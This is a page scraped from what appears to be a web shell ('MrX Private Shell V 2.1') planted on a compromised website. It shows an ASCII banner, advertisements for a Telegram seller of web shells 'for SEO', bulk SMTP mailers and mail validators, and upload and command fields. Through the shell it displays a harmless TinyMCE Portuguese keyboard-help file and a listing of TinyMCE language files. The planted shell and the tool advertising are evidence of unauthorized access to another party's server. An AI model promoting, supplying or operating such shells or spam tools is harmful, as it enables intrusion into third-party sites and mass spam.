__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
tinymce.Resource.add('tinymce.html-i18n.help-keynav.pt_BR',
'<h1>Iniciar navegação pelo teclado</h1>\n' +
  '\n' +
  '<dl>\n' +
  '  <dt>Foco na barra de menus</dt>\n' +
  '  <dd>Windows ou Linux: Alt+F9</dd>\n' +
  '  <dd>macOS: &#x2325;F9</dd>\n' +
  '  <dt>Foco na barra de ferramentas</dt>\n' +
  '  <dd>Windows ou Linux: Alt+F10</dd>\n' +
  '  <dd>macOS: &#x2325;F10</dd>\n' +
  '  <dt>Foco no rodapé</dt>\n' +
  '  <dd>Windows ou Linux: Alt+F11</dd>\n' +
  '  <dd>macOS: &#x2325;F11</dd>\n' +
  '  <dt>Foco na barra de ferramentas contextual</dt>\n' +
  '  <dd>Windows, Linux ou macOS: Ctrl+F9\n' +
  '</dl>\n' +
  '\n' +
  '<p>A navegação inicia no primeiro item da IU, que será destacado ou sublinhado no caso do primeiro item no\n' +
  '  caminho do elemento Rodapé.</p>\n' +
  '\n' +
  '<h1>Navegar entre seções da IU</h1>\n' +
  '\n' +
  '<p>Para ir de uma seção da IU para a seguinte, pressione <strong>Tab</strong>.</p>\n' +
  '\n' +
  '<p>Para ir de uma seção da IU para a anterior, pressione <strong>Shift+Tab</strong>.</p>\n' +
  '\n' +
  '<p>A ordem de <strong>Tab</strong> destas seções da IU é:</p>\n' +
  '\n' +
  '<ol>\n' +
  '  <li>Barra de menus</li>\n' +
  '  <li>Cada grupo da barra de ferramentas</li>\n' +
  '  <li>Barra lateral</li>\n' +
  '  <li>Caminho do elemento no rodapé</li>\n' +
  '  <li>Botão de alternar contagem de palavras no rodapé</li>\n' +
  '  <li>Link da marca no rodapé</li>\n' +
  '  <li>Alça de redimensionamento do editor no rodapé</li>\n' +
  '</ol>\n' +
  '\n' +
  '<p>Se não houver uma seção da IU, ela será pulada.</p>\n' +
  '\n' +
  '<p>Se o rodapé tiver o foco da navegação pelo teclado e não houver uma barra lateral visível, pressionar <strong>Shift+Tab</strong>\n' +
  '  move o foco para o primeiro grupo da barra de ferramentas, não para o último.</p>\n' +
  '\n' +
  '<h1>Navegar dentro das seções da IU</h1>\n' +
  '\n' +
  '<p>Para ir de um elemento da IU para o seguinte, pressione a <strong>Seta</strong> correspondente.</p>\n' +
  '\n' +
  '<p>As teclas de seta <strong>Esquerda</strong> e <strong>Direita</strong></p>\n' +
  '\n' +
  '<ul>\n' +
  '  <li>movem entre menus na barra de menus.</li>\n' +
  '  <li>abrem um submenu em um menu.</li>\n' +
  '  <li>movem entre botões em um grupo da barra de ferramentas.</li>\n' +
  '  <li>movem entre itens no caminho do elemento do rodapé.</li>\n' +
  '</ul>\n' +
  '\n' +
  '<p>As teclas de seta <strong>Abaixo</strong> e <strong>Acima</strong></p>\n' +
  '\n' +
  '<ul>\n' +
  '  <li>movem entre itens de menu em um menu.</li>\n' +
  '  <li>movem entre itens em um menu suspenso da barra de ferramentas.</li>\n' +
  '</ul>\n' +
  '\n' +
  '<p>As teclas de <strong>Seta</strong> alternam dentre a seção da IU em foco.</p>\n' +
  '\n' +
  '<p>Para fechar um menu aberto, um submenu aberto ou um menu suspenso aberto, pressione <strong>Esc</strong>.</p>\n' +
  '\n' +
  '<p>Se o foco atual estiver no ‘alto’ de determinada seção da IU, pressionar <strong>Esc</strong> também sai\n' +
  '  totalmente da navegação pelo teclado.</p>\n' +
  '\n' +
  '<h1>Executar um item de menu ou botão da barra de ferramentas</h1>\n' +
  '\n' +
  '<p>Com o item de menu ou botão da barra de ferramentas desejado destacado, pressione <strong>Return</strong>, <strong>Enter</strong>,\n' +
  '  ou a <strong>Barra de espaço</strong> para executar o item.</p>\n' +
  '\n' +
  '<h1>Navegar por caixas de diálogo sem guias</h1>\n' +
  '\n' +
  '<p>Em caixas de diálogo sem guias, o primeiro componente interativo recebe o foco quando a caixa de diálogo abre.</p>\n' +
  '\n' +
  '<p>Navegue entre componentes interativos de caixa de diálogo pressionando <strong>Tab</strong> ou <strong>Shift+Tab</strong>.</p>\n' +
  '\n' +
  '<h1>Navegar por caixas de diálogo com guias</h1>\n' +
  '\n' +
  '<p>Em caixas de diálogo com guias, o primeiro botão no menu da guia recebe o foco quando a caixa de diálogo abre.</p>\n' +
  '\n' +
  '<p>Navegue entre componentes interativos dessa guia da caixa de diálogo pressionando <strong>Tab</strong> ou\n' +
  '  <strong>Shift+Tab</strong>.</p>\n' +
  '\n' +
  '<p>Alterne para outra guia da caixa de diálogo colocando o foco no menu da guia e pressionando a <strong>Seta</strong>\n' +
  '  adequada para percorrer as guias disponíveis.</p>\n');

Filemanager

Name Type Size Permission Actions
ar.js File 6.02 KB 0664
bg_BG.js File 6.85 KB 0664
ca.js File 4.83 KB 0664
cs.js File 4.77 KB 0664
da.js File 4.18 KB 0664
de.js File 4.86 KB 0664
el.js File 7.41 KB 0664
en.js File 3.85 KB 0664
es.js File 4.77 KB 0664
eu.js File 4.18 KB 0664
fa.js File 5.54 KB 0664
fi.js File 4.71 KB 0664
fr_FR.js File 4.82 KB 0664
he_IL.js File 5.1 KB 0664
hi.js File 6.99 KB 0664
hr.js File 4.71 KB 0664
hu_HU.js File 4.67 KB 0664
id.js File 4.11 KB 0664
it.js File 4.97 KB 0664
ja.js File 4.89 KB 0664
kk.js File 6.65 KB 0664
ko_KR.js File 4.59 KB 0664
ms.js File 4 KB 0664
nb_NO.js File 4.45 KB 0664
nl.js File 4.37 KB 0664
pl.js File 4.82 KB 0664
pt_BR.js File 4.23 KB 0664
pt_PT.js File 4.32 KB 0664
ro.js File 4.82 KB 0664
ru.js File 6.83 KB 0664
sk.js File 4.87 KB 0664
sl_SI.js File 4.53 KB 0664
sv_SE.js File 4.17 KB 0664
th_TH.js File 7.41 KB 0664
tr.js File 4.49 KB 0664
uk.js File 7.28 KB 0664
vi.js File 4.97 KB 0664
zh_CN.js File 3.78 KB 0664
zh_TW.js File 3.91 KB 0664
Filemanager